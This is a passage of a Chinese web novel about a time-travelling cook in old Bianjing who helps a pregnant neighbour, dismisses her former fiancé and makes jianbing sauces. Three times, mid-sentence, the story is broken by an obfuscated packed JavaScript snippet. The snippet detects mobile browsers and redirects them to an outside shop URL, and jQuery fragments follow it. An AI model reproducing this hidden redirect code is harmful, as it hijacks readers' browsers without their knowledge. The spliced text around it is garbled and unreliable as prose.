可是，不知为何陶乐真却觉得陶二郎和陶三妹比山区里的孩子还可怜，毕竟山村里的孩子是因为离外面的城市太远，所以没见过那些东西，而陶二郎和陶三妹出生在最繁华的汴京城，这里离内城只有半个小时的路程，却什么都没有见过，也没有吃过，岂不是更惨。 陶乐真突然又想起自己小时候的生活，那对比如今的两小只那简直是天上地下的区别，想到这里，陶乐真眼神柔和了许多，耐心解释， “糖葫芦便是山楂和糖，吃起来脆脆的，可好吃了。” 说完她将糖葫芦递给两人，“不过一人只能吃一颗，剩下的吃了饭再吃。” 陶乐真怕两人吃山楂吃多了不克化，特意叮嘱道。 叮嘱完她便放心了，因为陶二郎和陶三妹都是非常听话的孩子，不像昨天那些熊孩子，基本上陶乐真说什么他们就做什么，特别乖，若是世界上所有的小孩都是这种小孩，陶乐真觉得自己也不是不愿意多几个弟弟妹妹。 果然，她话音落下，两小只就点头答应，“好！” “知道了阿姐。” 那认真的小表情别提多可爱了。 陶乐真摸了摸两人的头，进灶房将包袱里的馒头和素包子捡出来放好，然后从里面拿出来四五个，打算蒸热今晚上吃。 终于不用再吃红薯了，陶乐真特别激动，她打来水把火烧起，不到一刻钟馒头就热了。 她叫来两个小孩，三人就着仅剩的灶火将几个馒头吃馒头。 陶乐真吃了两个，陶二郎和陶三妹一人吃了一个。 别说，这个时代的馒头还挺好吃的，没有添加剂，带着微微甜，嚼起来还有小麦香，唯一缺点就是发面有些过，带着淡淡的酸味，普通人定是吃不出来的，但是陶乐真咬一口就发现了，不过这一点酸倒是不影响口感，反而还多了一层风味。 还有素包子，这个时代的素包子里面包的是韭菜，一口咬下去，全是韭菜的香，又嫩又香，三口两口就吃完了一个。 三人吃完馒头又一人喝了一碗温热的开水，那滋味别提多好了。 终于不用再吃红薯了… 陶乐真睡前还不忘感慨… 9. 张家 翌日，天气晴朗，陶乐真醒来的时候阳光刚好照进院子里，她起床后第一件事就是去看刚种下的菘菜。 在看到菘菜长得都很好，一根根青翠挺拔后，她取来水又给浇了一遍，然后才去生火做早食。 今天早上依旧是吃昨天剩下的馒头配开水，昨天跟米铺的人商量好今天下午送米来，所以陶乐真上午就先拿着铁锅去了铁匠铺子，将那口破过，改成平底锅。 这个时代已经有人用平底锅炒菜了，只是不普遍，听到要求后，铁匠也没有很惊讶，只说要收两钱银子。 陶乐真总共就剩下798文了，若是再拿出200文，那做小推车就没银子了，想了半天想出一个好办法，就是让铁匠将平底锅做小一点，剩余多的铁就抵作工钱，铁匠想了下，他也不亏，于是同意了，让她三天后来拿。 陶乐真这才离开，离开后她又去了木匠家里，因为陶家如今隔壁的人家就会木匠活，所以陶乐真便没有找其他人，毕竟说不得还要砍价之类的，跟熟人总是要好说话一些的。 张家门口，“张婶，在吗？” 陶乐真站在门口对里面喊道。 张家条件比陶家好一些，棚屋也结实些，院子里总是堆着一院子的木材，树木，路过就能看见老两口在做活儿。 今天倒是奇怪，门打开，院子里竟然没人。 于是她又加大声音唤了两声， “张婶，张婶…” “谁呀？”一个约莫四十岁的妇人从里面走出来，可不正是张婶，只是她的神情有些不太好，像是遇到什么难办的事情似的。 陶乐真，“张婶，是我。” 张氏勉强笑了笑，“原来是大妹呀，你找我有什么事吗？” 陶乐真于是将想做个推车的来意说了，张氏虽然有些好奇陶乐真做推车做什么，但因为此时心中记挂着别的事情，闻言也没心情再问，只是道，“你张大叔刚出去了，等他我回来我跟他说。” 陶乐真闻言也没再说什么，“行，那我就先回去了张婶，张大叔回来了你叫我一声。” 张氏点点头，刚想答应，然而下一秒屋子里突然传来一道剧烈的碰撞声，她当即脸色一白，急忙往屋子里跑去。 陶乐真见张氏慌乱的模样，也不好当作什么都没看见，当初陶父陶母下葬的时候，多亏了张家老两口帮忙，陶乐真刚来生病的时候，张氏也曾过来照看过，两家关系本来就不亲近，人家能帮到这地步已经可以称得上一句善人了。 所以陶乐真犹豫了片刻就跟着对方进了屋子。 等进了屋子后，陶乐真才发现原来屋子里还有一个二十来岁的女子，此时那个女子正扶着趴在地上对着那个痰盂吐个不停，仿佛要将苦胆都吐出来。 张氏看见瞬间心疼不已，赶紧上前替她拍背，“我的儿，你怎么了。” 不过女子却没功夫回应她，只一个劲的吐，吐到后面都吐不出来东西了，还在干呕。 陶乐真见这样也不是个办法，上前去帮忙在女子手上几个穴位，女子才没再继续吐， 她这一手还是当初做家宴时，在一户有钱人家里跟一个据说是很厉害的妇科医生学的，没想到今天竟然在这里用上了。 “娘，我不吐了…” “是你，你做了什么？”女子很是惊讶，她长着一张非常好看的脸，虽然此时有些狼狈，但是还是难掩清丽。 张氏也惊讶的看着陶乐真，似乎也在问陶乐真做了什么。 陶乐真在刚才的时候就想好了应对的话，脸色都不变道，“以前我娘怀二弟的时候，跟一位老大夫学的。” 然后陶乐真又说了当初春氏怀孕时也是一样，什么都吐，什么都吃不下。 果然两人一听就信了，不过不信也不行，毕竟春氏怀陶二郎的时候两家人都不认识，况且这种事，陶乐真也没必要骗他们。 张婉恍然，“原来是这样。” 张氏则是眼睛一亮，“你是说你娘当时也是吃不下饭，跟婉娘一样？” 陶乐真点点头，“是的婶子。” “那后来你娘是怎么好的？可有吃什么药？不对，那个大夫是哪家药铺的大夫？” 张氏激动道，女儿婉娘怀这一胎实在太惊险了，如今才不过四个月，就什么都吃不下，吃不下就算了，还天天吐，吐得狠了，连胆汁也吐出来，请了无数大夫都没用，只说让静养着，让吃些能吃的东西，可女儿却总是什么都不想吃，短短十天都瘦了一大圈了。 张氏看着女儿这样，心痛死了，恨不得自己替她受这苦，所以如今听到陶乐真说这话，才这么激动。 还是张婉见娘张氏这样，怕吓着陶乐真，赶紧伸手拉住对方提醒，“娘，你小声一点，待会儿吓到大妹了。” 张氏这才反应过来自己过激了，“不好意思啊大妹。” 陶乐真表示理解，毕竟原身记忆中张婶张大叔总共就只生了张婉一个女儿，自然待她如珠如宝，甚至当初张婉出嫁时，夫妻两人还专门请的春氏绣的嫁妆，陪嫁银更是足足给了50两嫁妆，这在当时可是轰动了整个昌平坊的事儿，都说娶了张家的女儿可真是娶了一只金凤凰，有这么疼爱她的爹娘。 原身记忆里也有许多关于这方面的记忆，比如张婉每次回来，张氏和张大叔都会给准备许多吃食，养的鸡鸭鹅，种的蔬菜瓜果，一车车给张婉带着去吃。 坊里出嫁的一众小娘子都羡慕坏了，这时代虽然女子地位高了，可以出门经商，但是寻常人家依旧普遍重男轻女，回娘家别说拿东西走了，不拿东西回来都要被娘家人戳脊梁骨，指着鼻子骂白眼狼。 偏偏张家婉娘不用，真是好命啊。 原身当时看着也好羡慕，当然，她不是羡慕张婉姐有这么好的爹娘，而是羡慕张婉姐有这么多好吃的，每次她都躲在门背后看着对方和她的一车吃食… 陶乐真想到这里，也不由得有些感慨了，这个抛弃女婴流行的时代还能对女儿这么好，足以见张家夫妻人品是有多好了。 不过，压根没有什么老大夫… 她想了下，才道，“婶子，那个老大夫前几年已经去世了。” 说完，陶乐真心里有些不好意思，对她瞎编出来的老大夫表示抱歉。 张氏没想到老大夫竟然去世了，闻言十分失落，喃喃道，“去世了吗？” 那张婉也有些失落，长得好看的人连失落都如同一幅美丽的画卷，陶乐真见状竟然有那么一瞬间不忍心。 不过她确实不知道从哪儿去找那个老大夫，想了半天才开口道，“不过我大概还记得吃些什么吃食，如果婶子需要的话我可以教你。” 这话一出，果然张氏和张婉眼睛都亮了。 张氏拍手，“那感情好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371418|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张婉有些心动，但有些犹豫：“这样会不会太麻烦大妹了啊。” 陶乐真开口道，“不麻烦，很简单的。” 确实比较简单，她当初的客户也有怀孕的，所以她做了不少这方面的功课，例如怀孕的孕妇吃不进去东西，那这时候最好是反着来，别吃太油腻，要吃些清淡的，而清淡开胃的菜做起来那确实是不难。 这边，听陶乐真这么说，张婉也不再说什么，只是再次小声道谢。 “没事，张婉姐。” 陶乐真又对着张氏，“那张婶，我现在教你做几道？” 张氏自然高兴得很，无有不从，“行，你看看需要什么菜，厨房里若是没有，我这就出去买。” 其实张大叔就是出去买菜去了，自从张婉回来后，夫妻两人生怕她饿着，这东西不吃就买那东西，刚才张婉起床后觉得胃口不好，张大叔就提出要去给女儿买话梅吃，这才没在家的。 陶乐真点头，来到张家的厨房，张家的厨房布局跟陶家的一样，灶台都是坐西向东，陶乐真一进去就看到灶台上还有地上放着的猪蹄和杀好的鸡，还有许多时令蔬菜，心中不由感慨，这也太丰盛了吧，她穿越到今天，都还没见过这么多肉菜，没想到今天竟然在张家看见了。 偏这时张氏还开口道，“可需要再买其它的？” 陶乐真，“不用了张婶，这些就可以。” 她略微看了下张家如今厨房里的蔬菜瓜果，还有肉类，放下就决定做一道醋拌春笋，一道碎米肉，一道鸡丝粥。 这些都比较简单，也是张家都有的食材。 陶乐真大概跟张氏说了下要做什么菜，张氏一听差点愣住，就这些？ 那不是寻常的家常菜吗？她心中有些疑惑，原本她还以为是什么特别复杂的菜呢。 结果… 不过当年春氏就这么吃，想必是有用的，于是她暗自记在心里，也没再说什么，而是点头，“行，大妹你想做什么就做就行，我在旁边给你打下手。” 陶乐真要的就是这话，于是让张氏去将炉子升起来，她则是去淘米煮粥。 其实煮一碗好喝的粥也十分考验厨艺，不管是火候还是时间，都需要做菜的人严格控制，多一分钟前一分钟那粥就变了，尤其是在粥里加青菜或者肉类，更加需要注意菜和肉的口感。 陶乐真将米洗好，接着开始处理春笋，这个时节的春笋最是新鲜，陶乐真很快就全部剥完了壳。 春笋处理好后就是焯水，这个步骤简单，水开将笋放进去后焯水十分钟，然后捞起来切成小块备用。 最后这一步才是放佐料凉拌，佐料的话孕妇吃就不用太多，但是少了也不行，这时候陶乐真想起自己昨夜买的那些调料，于是跟张氏说了一声跑回去把自己买来的佐料挑选了一些带过来。 佐料齐全后便是用热油激发香味，害怕油腻，所以油也不用太多，少一些就行。 伴随着滋滋的响声和一股热烈的香味，以及一股子淡淡的醋味，陶乐真这道开胃下饭的醋拌春笋就做好了。 张氏在一旁也闻到了这味道，不由得咽了咽口水，这丫头怎么调的料啊，怎么这么香，一闻就感觉特别有食欲。 原本刚刚她还在想，这几道家常菜她也会做，后面她可以自己亲自做给女儿吃，没想到这才第一步她就不会了，至少她可调不出这么香的味道来。 11. 林泽 陶乐真笑笑，做她们这行听到的最动人的情话不是我爱你，而是你做菜真好吃，每次听到这话那简直比挣多少钱都开心。 “阿婉姐喜欢就好。” 张氏见女儿吃了这么多，也没有吐，同样很开心，打趣道，“她喜欢着呢，你没看她吃了那么多。” 张婉脸瞬间发烫。 张氏没继续说，而是对陶乐真道，“今天多亏了你，对了，你刚刚说你想做个什么推的车，是想做什么样子的？你仔细跟我讲讲，待会儿我跟你张大叔说。” 陶乐真闻言，仔细将自己想要的推车的模样说了出来，她想要的是双层可以放炉子和平底锅的推车，这样直接就可以推着去卖吃食，不用搬来搬去，有点像那卖货郎推的架子车，但是又不一样，然后推车上最好能再插伞，挂东西，等于下层储物旁边还能挂东西，上层放调料吃食和面糊一类的。 张氏这还是第一次听到有人做架子车有这么多要求，不过她听到最后也算是明白了，其实就相当于是一张移动的桌子，只不过这桌子是两层的，再加几块木板。 难倒是不难，就是有点费时间，需要仔细打磨。 “行，我记住了，到时候跟你张叔说，不过可能具体的地方还得你跟他讲。” 陶乐真自然无不答应。 两家离得这么近，自然随时都能联系到对方。 “对了，大妹，你做这个可是想去内城卖吃食？”张氏突然想起这个，有些好奇。 她刚才没有心情问，如今听到陶乐真的描述才反应过来。 陶乐真答是。 张氏露出原来如此的表情，“那你可想好要做啥吃食了没有？” 陶乐真怕对方理解不了煎饼果子是什么意思，就只说是煎饼。 张氏一听是煎饼，有些怔愣，就只是煎饼？汴京最不缺的就是各种饼了，什么羊肉烧饼，胡饼，炒饼，蒸饼，汴京人最爱食的就是饼，各种饼层次不穷，随便哪家人都会做，甚至家家做的口味都不错。 这个买卖只怕是不好做。 她有心想多说两句，毕竟面前少女年纪太小，从前也未曾做过买卖，不知道挣银子的艰辛，万一挣不到钱该怎么办。 看她家这段日子的情况，那陶大应当没有留下太多银子，又有弟妹要养，张氏实在不愿看到姐弟三人最终流落街头的惨状。 她善意提醒道，“如今内城卖这类吃食的人多，营生恐怕不好做。” 接着她又说了好多做买卖亏本的事例，明里暗里的意思就是让陶乐真考虑好，别冲动。 张婉在一旁听到这话还以为她听错了，当即就小声道，“娘，你说什么呢…” 随后转头对陶乐真道：“我娘瞎说的，大妹你手艺这般好，做煎饼肯定也好卖，我相信你。” 张婉说的话都是发自内心的，她嫁人这几年，也算是吃过一些好东西，自然能吃出来陶乐真这菜里的不一般之处。 不过一旁的陶乐真却并没有介意，虽然起初听到张氏的话时也愣了下，但是很快明白对方是好心提醒， “没事的阿婉姐，婶子说这话也是为我好，不过我还是打算试一下看看如何。” 张氏见女儿这样说，也明白自己是有些多管闲事了，于是虽然心里依旧觉得这事儿不行，还是开口道，“也行，年轻人嘛，多尝试一下。” 接着张氏又承诺了等会儿会跟丈夫说后，陶乐真便提出了告辞。 离开的时候张氏又给陶乐真用竹篮装了十来个鸡蛋让她带回去吃，说是刚刚感谢她做的饭菜的谢礼。 陶乐真推拒不过收下，“那婶子我先回去了。” “行，等会儿我叫你。” 这边，陶乐真前脚离开，后脚张婉就对张氏道，“娘，你刚刚说那些话做什么。” 在她心里，她娘从来不会说这种扫兴话，怎么今天突然说出那样的话来。 张氏自然知道自己刚刚那些话不好听，可是她说的也是实话，那买卖哪里是那么容易做的，更何况还是那本来就许多人做的吃食买卖。 要知道，她跟丈夫做了这么多年的木匠活儿，也勉强只在这汴京城中混个温饱，甚至想给女儿多些陪嫁都没办法呢… “娘也是好心…”张氏将自己的想法全部说了一遍。 张婉听后，明白了她娘的意思，只是她刚才吃了陶家大妹做的吃食，知道有多好吃，所以她只觉得她娘是想多了， 随即她突然想到一个可能，“娘，你是不是没有吃过大妹做的菜？” 啊？张氏愣了，什么菜？ 张婉见状自然明白了张氏肯定没有吃了，当即就让张氏尝一下陶乐真做的菜。 张氏闻言，被动的拿起筷子，夹了其中的笋来吃， 嗯？还可以。 不对，这个笋，也太好吃了吧。 酸酸脆脆的，好开胃，吃起来口感也好。 还有那碎米肉，太下饭了。 “娘，你再喝一下这粥。”张婉给张氏又盛了一些粥。 张氏也不嫌弃女儿吃过，将就那碗筷就吃了起来。 结果一口下去都愣住了，这味道也太好了吧，又香又糯，入口即化，不知道怎么做的，好吃得不行。 张氏吃了几口就明白了女儿这话的意思，也是，这味道，一吃就知道是有手艺在身上的，怪不得女儿觉得大妹去卖吃食没问题呢。 。 而另一边，陶乐真并不知道张家母女在她走后说的这些话，她高兴的提着鸡蛋出张家门，没两步路就到了自家门口，正当她打算推门进去的时候，一道沙哑的男声突然响起。 “大妹。” 陶乐真听到声音往旁边一看，发现是一个穿着一身青衫，约莫16.7岁的俊俏少年正皱着眉看着她。 陶乐真看向对方，有一瞬间疑惑，她认识他吗？ “你过来一下，我有话要跟你说。”少年见她没有反应，又开口道。 陶乐真这才反应过来对方是在叫她，接着又是好半天终于想起了这个少年是谁。 这不是她，不是，原身曾经那个未婚夫吗？好像是叫林泽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371420|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 他怎么来这里了？ 陶乐真不觉得对方是因为想原身了才来的，毕竟对方一家子在陶父死后的做法堪比陈世美，陶父和陶母人才死，棺材都还没送到，人一家听到消息就打着关怀的名义，登门要回婚书了，那嘴脸之恶心，实在叫人难以接受。 要知道陶父对林家也算是有恩在身的，当初林家一家人逃难来汴京的时候，是陶父陶母收留他们，帮他们找活，让他们在汴京站稳脚跟，后面还借银子给他们开了如今的茶摊，不说报答，再怎样也不至于在夫妻两人刚死就立刻退亲吧。 说实话，陶乐真还从没见过这么无耻和忘恩负义的人。 想到对方对原身的伤害，陶乐真神色也一秒冷淡起来，“你来做什么？” 林泽，“我来是想告诉你，我如今已经定亲了，是孙家的女儿。” ？定婚了？然后呢？跟她有什么关系？陶乐真有些懵，难道这渣男一家定婚了还要来恶心她一下？这也太奇葩了吧？ 不过…孙家？卖鱼那家？怪不得那日她登门去他们家，想问他们需要人做席面不的时候，孙氏看到她一脸心虚，后面直接把她赶走，原来是因为这个原因啊。 陶乐真，“哦，然后呢？” ？ 林泽看着面前一脸冷淡的陶乐真，感觉跟自己想象中的不太一样，总觉得对方这反应不太对，但是他转念一想，又觉得是陶乐真故意装成这样的。 也是，任谁听到自己心悦的人要成亲了也不会有多开心的，不然也不会特意跑去他家门口寻他，还被街坊邻居看见。 林泽想通后，继续皱眉道，“我的意思是我们已经没有关系了，日后我不希望再看见你。” ？ 这下陶乐真真无语了。 他以为自己是谁啊，还不想再看见她，神经病吧。 陶乐真冷笑，“那你把你眼睛戳瞎了就看不见我了。” 林泽哪里能想到陶乐真会这样说，当即还以为自己听错了。 “你再说一遍。” 陶乐真没见过这么离谱的要求，恶劣一笑，“我说，你把眼睛戳瞎了就看不见了，怎样？我这办法不错吧？林大哥？” 林泽彻底愣住了，他没听错，她刚刚就是这么说的。 她，她，她怎么可以这样说呢？她不是喜欢自己的吗？ 她怎么可以这么说呢？ 对，一定是因为退亲的事情，让她因爱生恨，话本子上也是这样说的。 “我知道你心里难受，退亲的事情是我爹娘做的决定，我也不知道，这样吧，你有什么要求，只要不过分我都答应你。” 退亲一事，林泽自然是知情的，只是他也觉得他娘说的对，陶父死了，陶家只会是拖累，他日后要科举，还是要娶一个对他有帮助的女人才是。 只是到底这件事是他们家对不起陶家，林泽心中难免还是有些亏欠的。 所以今日在听隔壁的婶子说陶乐真前两日登门来找他，他才会跑来找陶乐真的，他想将话说开，这样谁也不欠谁的。 12. 煎饼果子 不知情？骗鬼吧，陶乐真懒得跟他掰扯，不再理会对方，转身就要开门进去。 “我这里有二两银子，就当作补偿，只要你日后…” 听到话的陶乐真立马转身，将篮子往手腕一垮，伸出右手，手掌摊开向上。 “十两。”那模样怎一个理所当然来形容。 陶乐真确实理所当然，当初陶父对他们的照顾，情分，十两已经算是便宜他们了。 林泽听到陶乐真的话，脸色又开始变来变去，果然娘说得对，如今陶家已经配不上自己了，这才短短一两年，曾经不说知书达理，也算是小家碧玉的少女就变得如此世俗，跟那些身上沾满铜臭味的粗鄙妇人也不差了。 林泽，“只要你…” 陶乐真不等对方说完就开口，“我答应。” 林泽脸色憋得难受，她知道他说的是什么吗，就答应，不过他依旧对自己的想法有着莫名的笃定，认定陶乐真是因为太爱他了，才变成这样，于是继续高高在上道， “我身上如今只有2两，剩下的得等下月成亲后再给你。” 若是之前，林泽身上连这二两银子都没有，林家为了供他读书，早已经是捉襟见肘，不过他这不是定亲了吗，未婚妻孙氏是家中独女，平日里对他多有贴补，这银子便是对方心疼他念书辛苦，悄悄塞在食盒里的。 等下月他与那孙氏成亲，别说二两，就是叫她给20两应当也是不难的。 林泽早已将孙家所有家财视作自己的囊中之物，以至于开口说话时也格外有底气。 陶乐真转念一想就想清楚了其中的关键，脸上露出些许鄙夷与嫌弃，原来搞半天还是凤凰男，花小娘子银子的货色。 她平生最瞧不上这种人，还好，还好，对方一家瞧不上“她”，主动退了亲，不然想想，还要跟这一家子纠缠也挺恶心的。 陶乐真不想听他再说，直接用眼神示意对方要给就给，不给就赶紧走。 林泽脸色终于变成猪肝色，将碎银子似的放在陶乐真手中。 陶乐真拿到银子，当即就扭头进了院子，然后毫不留情“砰”地一声将木门关上。 林泽吃了一鼻子灰，定定看着紧闭的木门，好半天才转身离开。 。 陶家院子里，陶二郎和陶三妹正蹲在菜苗地里看菜苗，自从种了这些菜苗后，两人每天起来第一件事就是蹲在地里看，一看就是大半天，仿佛在看什么稀奇玩意儿似的。 看见陶乐真回来，两人都特别高兴，“阿姐～” “阿姐～” 两人迈着小短腿来到陶乐真面前，稍大的陶二郎则是去帮陶乐真提篮子，在看到篮子里是鸡蛋后，他眼睛亮了亮，“是鸡蛋。” 陶三妹听到二哥的话，也抬起小短手要去够篮子，“我看看我看看。” 她在昨日听陶乐真说了鸡蛋可以孵出来小鸡后，对鸡蛋就非常感兴趣，小小的她不明白为何鸡蛋可以变出来小鸡。 陶三妹，“阿姐，小鸡在哪里。” 陶乐真笑了笑，“这个鸡蛋不能孵出来小鸡，等过几日咱们去买些可以孵小鸡的鸡蛋。” 别说，如今手上银子加上刚才原身前未婚夫给的二两，还真可以买些小鸡仔回来养。 陶三妹，“啊？” 可以孵小鸡的鸡蛋？那是什么蛋？ 陶二郎也眼中也有些迷惑，他怎么感觉自己听不懂阿姐在说什么了。 是他太笨了吗？ 陶乐真见两个小家伙疑惑的神情又被逗乐了，不过这个叫她怎么解释呢？ 算了，肚子饿了，先吃午饭吧。 这段日子每天只吃两顿饭，可把她饿惨了，如今终于手上有些银子了，她决定日后每天都要吃三顿！没错，她就是这么没出息，吃三顿就满足了。 于是陶乐真一边跟两个小家伙讲生命如何起源，一边去灶房把馒头素包子放炉子上蒸热，为了营养考虑，她还特意蒸了两个鸡蛋。 午饭，三人一边吃着馒头，一边吃着滑嫩香嫩的鸡蛋，别提多满足了。 吃完后，两个小家伙内心都只有一个想法：如果能每天都能吃饱就好了。 下午，陶乐真在吃完饭后，也没闲着，先是和两小只把家里上上下下打扫一遍，将原本破烂的木板重新拼好，防止漏风漏雨，接着她则开始做煎饼果子用的酱，她准备做两种酱，一种甜面酱一种辣酱，甜面酱的话需要面粉，所以她先做的辣酱。 要想煎饼果子好吃，里面的酱是灵魂，陶乐真虽然没有卖过煎饼果子，不过她对于各种酱的做法还是颇有心得的，尤其是辣酱，曾经她做的辣酱，大学室友和隔壁寝室室友都抢着拿去拌饭吃，后来毕业了，她们都还发微信来说怀念她做的辣酱，还给她的辣酱写了一篇千字小作文，看得陶乐真都被她的“深情”打动了，又给她做了几瓶寄过去。 据室友和隔壁室友描述她做的辣酱，那叫一个蘸鞋底子都好吃，不管是拌面还是拌饭夹馒头，只要加一点进去，能把人香迷糊了。 虽然陶乐真觉得她们的描述有些夸张了，不过让她自己评价，也差不了多少，毕竟再怎么说都是她研究改良了无数版本的，怎么可能不好吃。 不过由于这个时代许多调料都还没有或者名字不是后面的那个名字，所以陶乐真昨晚并没有买齐全，只能换成其它味道相似的调料代替。 好在陶乐真试了下，最后做出来的味道大差不差。 她看着粗瓷碗中色泽诱人的辣酱，用勺子挖了一点尝了尝，满意的点点头。 “不错。” 有这辣酱的话，煎饼果子的味道肯定差不了。 她这边满意，隔壁几家人就不满意了，虽然这年头大家普遍不吃午食可不代表大家都不午休，这时代午睡的人相当多。 就比如隔壁有几家人就习惯每天中午干活回来休息一会儿，可谁知道刚回家休息片刻，就闻到陶家飘来的辣酱的香味，这味道跟其它吃食的味道不同，过于香了，又香又辣，勾得人不停咽口水，偏偏闻了半天都不知道是在做什么吃食。 有那与陶家屋子临近的，从院墙那里伸了个头过来，一边闻一边问，“大妹，你在做啥呢，这么香。” 问话的是崔二郎，他今年16岁，与崔大郎是双胞胎兄弟，两兄弟平日里偷鸡摸狗，好吃懒做，在昌平坊是出了名的，平日里陶乐真很少看见两人，因为两人基本上不着家，在外面鬼混，不知怎么今天在家了。 陶乐真看着对方那个脑袋，抿了抿嘴，心中暗道，总有一天她要把那个围墙给砌高些，让人看不见她家在干嘛。 “没做什么，就做点辣椒酱。”陶乐真没有隐瞒他，因为她知道他若是没有看见，说不得晚上就翻墙进来自己翻了。 好在她做的也不是什么稀罕东西，给他看看也无妨。 崔二郎看着面前的辣椒酱，皱起眉头，就这？他还以为是什么呢，他从小就吃不得一点点辣，吃了全身上下都起疹子，是以，他哦了一声，就又回家了。 回去后，崔大郎看着他回来，一脸看好戏道，“可看到有什么好吃的？” 崔二郎，“……” 崔大郎见崔二郎不说话，更觉得好笑了。 这昌平坊他还不了解，除了那李衙役家中有些银子，其余人家里都精穷精穷的，尤其是那陶家，陶大叔死的那天晚上他去翻过，连只耗子都没有看见，可想而知能有多穷。 说实话，那陶家大妹和陶二郎陶三郎能活这么久在他看来都是不可思议的了。 “上次你不是说他家还有些红薯吗？干脆咱们去拿一些回家吃好了。”崔二郎没有找到好吃的，有些不甘心。 ？ 崔大郎想起隔壁那几个瘦得皮包骨头的姐弟，神色第一次有些复杂，“你还是做个人吧，待会儿老头子知道了，看不把你腿打断。” 崔二嘿嘿笑了一声，“我就开个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371421|199924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩笑。” 就算两人喜欢偷鸡摸狗，一般情况下还是不会偷住在一个坊的人，毕竟被抓住了，说不得他家老头子面子挂不住，直接就把他们撵出去了。 崔大警告，“你最好是，春姨对咱们两人可不薄。” 提起春氏，崔二也难得沉默了，坊里所有人都瞧不上两兄弟，只有春氏从来没有用异样的眼光看过他们，甚至在见他们被老头子打，撵出来没饭吃的时候还会给他们饭吃，那种感觉，自从他娘死后，就再也没有感受过了。 “春姨怎么就死了呢。”崔二叹了一口气。 是啊，春姨怎么就死了呢。陶大望着远方的天，春燕在檐下叽叽喳喳叫个不听，一切都仿佛预告着新的开始，只有他们知道，有些东西永永远远地留在了冬天。 另一边，陶乐真做好辣酱的时候，刚好米铺的人把米和面粉都送来了，这下正好，可以继续熬甜面酱，甜面酱说简单也简单，不简单也不简单，手艺好的能把握好其中的浓稠比例，手艺不怎么好的可能做出来又是另一个味道。 没多久，陶乐真就把甜面酱也做好了，她这次辣酱和甜面酱都做的不多，除了保存的问题，还有便是她想先做出来试试味道，再看看要不要调整。 于是，陶乐真做好酱，又舀了一些面粉调制了做煎饼果子的面糊，等晚上吃晚食的时候她加来陶二郎烧火，她则开始做煎饼果子，“二郎，你帮阿姐看着火，不要太大。” 陶二郎正在往灶里烧火，闻言很干脆的答了一声好。 陶乐真这才开始摊煎饼果子，因为没有平底锅，现在就纯粹是在铁锅里煎，所以火候得控制好，不然很容易就糊了，陶乐真做第一个的时候就失败了，面皮焦了，好在煎得程度不严重，她铲起来三姐弟吃了。 别说，煎糊的面皮脆脆的，带着些许焦香和麦香，有一股甜甜的味道。 陶二郎， “阿姐，这是什么，好好吃呀！” 陶三妹倒是没说话，捧着薄饼，啃得不亦乐乎。 陶乐真有些心虚，给小朋友吃这种东西真的好吗。 但她转念一想，抛开剂量谈毒性也是不对的。 总之，在做毁了一个之后，后面做的都顺利多了，考虑到两个小孩口味，她做了2个只刷了甜面酱的，她自己则做了1个刷辣酱的，这次做的煎饼果子是简单版的，鸡蛋也没加，只加了酱，但是陶乐真吃到嘴里时却觉得是她这辈子吃过最好吃的煎饼果子。 原因自然是因为她太久没有吃过什么好吃的东西了，还有一个原因就是饿了，这个世界上只有一个时候吃东西最好吃，那就是饿了。 “你们慢点吃，小心烫。”陶乐真一边将煎饼果子铲到碗里，一边叮嘱两人小心吃。 陶二郎和陶三郎闻言听话的小心吹着，好半天才学陶乐真去咬来吃。 这次的煎饼不脆了，软软的，带着葱香和辣酱香，陶二郎和陶三妹从来没有吃过这样好吃的饼，记忆中陶父做过鸡蛋饼给陶二郎吃过，那次陶二郎已经觉得是世界上最好吃的东西了，没想到阿姐做的这个饼还要好吃，尤其是上面的酱，甜甜的，特别香。 陶二郎吃得特别幸福，他有些幸福，又有些难过，如果阿爹和阿娘还在就好了，这样他们一家人在一起多好啊，阿姐现在会做好多好吃的了，他们再也不用挨饿了。 陶三妹也吃得特别开心，不过她人小，再加上之前饿久了，吃不了多少东西，吃了半个就饱了，陶乐真看她还想再吃，连忙阻止，这么小的小孩子，又长时间饿肚子，吃太多了容易对身体不好，昨天晚上她没注意，看着陶三妹吃了一个馒头半夜起来陶三妹全吐了，可把陶乐真吓坏了。 “三妹乖，咱们留着明天再吃好吗？”陶乐真将陶三妹的煎饼放到一旁，轻声道。 陶三妹睁着大眼睛一开始还有些委屈，她不知道为什么阿姐不给她吃了，后面陶乐真跟她保证明天早上一定给她吃后她才又笑了。